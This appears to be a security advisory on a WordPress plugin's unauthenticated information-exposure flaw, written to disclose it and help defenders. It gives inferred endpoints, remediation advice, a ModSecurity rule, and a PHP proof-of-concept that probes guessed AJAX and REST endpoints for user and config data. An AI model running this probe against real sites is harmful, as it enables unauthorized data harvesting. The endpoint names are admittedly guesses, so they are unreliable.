Atomic Edge analysis of CVE-2026-66684 (metadata-based): The Export Import Menus plugin for WordPress (versions up to and including 1.9.2) contains an unauthenticated information exposure vulnerability. This flaw allows any remote attacker to extract sensitive user or configuration data from the WordPress site. The vulnerability has a CVSS score of 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, indicating low confidentiality impact but no integrity or availability impact. No patched version is available, so the plugin remains vulnerable unless mitigated.
The root cause aligns with CWE-200: Exposure of Sensitive Information to an Unauthorized Actor. Based on common WordPress plugin patterns, the plugin likely registers an AJAX action (via wp_ajax_nopriv_ or REST API endpoint) without proper capability checks or nonce verification. This is inferred from the description and CWE, as no source code diff is available. The vulnerable endpoint may output menu configuration, user data, or export files without requiring authentication. The lack of proper authorization checks (e.g., current_user_can) or nonce checks (wp_verify_nonce) is the probable cause of the exposure.
Exploitation is straightforward: an unauthenticated attacker sends a crafted request to the exposed endpoint. Likely candidates are /wp-admin/admin-ajax.php with an action parameter (e.g., export_import_menus_export or similar) or a REST API route under /wp-json/export-import-menus/v1/. The attack does not require any special headers or payloads beyond the correct action name. For example, a GET request to admin-ajax.php?action=export_import_menus_export could return sensitive data. Atomic Edge analysis infers the endpoint from the plugin slug, but the exact action name remains unconfirmed without code. The CVSS vector confirms network-based, low-complexity exploitation with no privileges or user interaction required.
Remediation requires enforcing proper authorization and nonce checks before any data is output. The fix likely involves adding capability checks (e.g., current_user_can(‘manage_options’)) and nonce verification to the vulnerable action. Additionally, the plugin should avoid exposing sensitive data in unauthenticated contexts. Since no patched version exists, site owners should disable or remove the plugin until a fix is released. Virtual patching at the WAF layer can block known exploitation attempts by matching the specific AJAX action or REST endpoint.
Successful exploitation leads to unauthorized access to sensitive information, which could include user lists, email addresses, menu structures, or site configuration details. This data can aid further attacks such as social engineering, privilege escalation, or targeted phishing. The confidentiality impact is low per CVSS, but the exposed information may be valuable depending on the site’s context. Integrity and availability remain unaffected.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-66684 (metadata-based)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-66684 via Export Import Menus AJAX action',severity:'CRITICAL',tag:'CVE-2026-66684'"
SecRule ARGS_POST:action "@streq export_import_menus_export" "chain"
SecRule ARGS_POST:action "@contains export" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-66684 - Export Import Menus <= 1.9.2 - Unauthenticated Information Exposure
// This PoC attempts to exploit the vulnerability by sending a request to a likely vulnerable endpoint.
// Assumptions: The plugin exposes an AJAX action or REST endpoint without authentication.
// The action name is inferred from the plugin slug: 'export_import_menus'.
// Adjust $target_url and $action as needed based on further reconnaissance.
$target_url = 'http://example.com'; // Change to the target WordPress site
$action = 'export_import_menus_export'; // Inferred action name
// Try AJAX endpoint first
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$post_data = array(
'action' => $action
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] Request to AJAX endpoint: $ajax_urln";
echo "[+] Action: $actionn";
echo "[+] HTTP status: $http_coden";
echo "[+] Response (first 500 chars):n" . substr($response, 0, 500) . "n";
// If AJAX fails, try REST API endpoint
if ($http_code != 200 || strpos($response, 'error') !== false) {
$rest_url = rtrim($target_url, '/') . '/wp-json/export-import-menus/v1/export';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[+] Request to REST endpoint: $rest_urln";
echo "[+] HTTP status: $http_coden";
echo "[+] Response (first 500 chars):n" . substr($response, 0, 500) . "n";
}
// Check if response contains sensitive data (e.g., user info, menu structure)
if (preg_match('/(user|email|menu|config)/i', $response)) {
echo "[!] Possible sensitive data exposure detected. Check response above.n";
} else {
echo "[-] No obvious sensitive data found. The endpoint may be different or patched.n";
}
?>